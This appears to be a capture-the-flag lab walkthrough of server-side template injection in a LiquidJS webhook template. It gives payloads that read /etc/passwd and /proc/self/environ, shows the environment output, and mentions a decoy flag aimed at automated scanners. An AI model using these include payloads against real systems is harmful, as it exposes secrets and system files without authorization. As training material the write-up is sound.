Lab 247 — PulseGuard — SSTI in Webhook Notification Templates
Lab 247 — PulseGuard — SSTI in Webhook Notification Templates
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: lfi_via_include_tag, proc_environ_disclosure, ssti_liquidjs
Summary
Walkthrough of the CUSTOM Web Lab 247 — PulseGuard — SSTI in Webhook Notification Templates. Task: Express.js uptime monitoring platform with Liquid template support in webhook notifications. Solution: SSTI via LiquidJS include tag to read /proc/self/environ and extract FLAG from environment
Description
PulseGuard is a self-hosted uptime monitoring platform that lets teams track the availability of their websites, APIs, and services. It supports multiple notification channels including email, Slack, and custom webhooks with templated message bodies.
Your organization has deployed PulseGuard to monitor their production infrastructure. Users can configure monitors with custom check intervals and set up alerts with flexible notification routing. The platform supports Liquid template syntax in webhook notification bodies for customizable alert payloads.
Explore the notification system and its templating capabilities closely. Something about how templates are processed might give you more access than intended.
English summary: An Express.js uptime monitoring application allows users to create webhook notifications with custom body templates using Liquid syntax. The goal is to exploit the template engine to gain unauthorized access.
Credentials: user@test.com / password123
Analysis
- The application is an Express.js uptime monitoring platform running behind nginx
- After logging in, the dashboard shows monitors and notification channels
- The
/notificationspage shows multiple notification types: Email, Slack, Discord, and Webhook - The
/notifications/newpage reveals that Webhook type supports "Custom Body (Liquid template)" with variables like{{monitorName}},{{status}}, etc. - The app uses LiquidJS (https://liquidjs.com/) for template rendering
Note: The HTML source contains a honeypot/decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden divs designed to trick automated scanners. This is NOT the real flag.
SSTI Confirmation
Created a webhook with a simple arithmetic test:
liquid read-only • copy allowed{{ 7 | plus: 7 }}
Testing via /api/notifications/:id/test endpoint returned:
json read-only • copy allowed{ "success": true, "payload_rendered": "Test Monitor - down - SSTI_PROBE_14" }
The expression evaluated to 14, confirming Server-Side Template Injection.
Solution
Step 1: Confirm SSTI vulnerability
Create a webhook notification with a Liquid arithmetic expression to verify template injection:
liquid read-only • copy allowed{{ 7 | plus: 7 }}
The response shows the expression evaluated to 14, confirming SSTI.
Step 2: Test file read via include tag
LiquidJS supports the {% include %} tag which can be abused for arbitrary file reading.
First tested with /etc/passwd:
liquid read-only • copy allowed{% include '/etc/passwd' %}
This successfully returned the contents of /etc/passwd, confirming Local File Inclusion.
Step 3: Extract flag from environment variables
Read the environment variables from /proc/self/environ:
liquid read-only • copy allowed{% include '/proc/self/environ' %}
Response:
HOSTNAME=7fa3e50f4bed
SHLVL=1
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INSTANCE_UUID=4580ef57-c6bb-465d-ba85-7b12c2dd9e23
PWD=/app
FLAG=FLAG{REDACTED}
NODE_ENV=production
Exploitation Steps Summary
- Login with provided credentials (user@test.com / password123)
- Navigate to
/notifications/new - Select "Webhook" as channel type
- Choose "Custom Body (Liquid template)"
- Enter payload:
{% include '/proc/self/environ' %} - Create the webhook
- Click "Test" to trigger template rendering
- Read the FLAG from environment variables in the response
Key Endpoints
POST /notifications- Create notification channelPOST /api/notifications/:id/test- Test notification (triggers template rendering, returnspayload_rendered)
Key Takeaways / Lessons
- Mastering lfi_via_include_tag, proc_environ_disclosure, ssti_liquidjs was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 247 — PulseGuard — SSTI in Webhook Notification Templates • Difficulty: Medium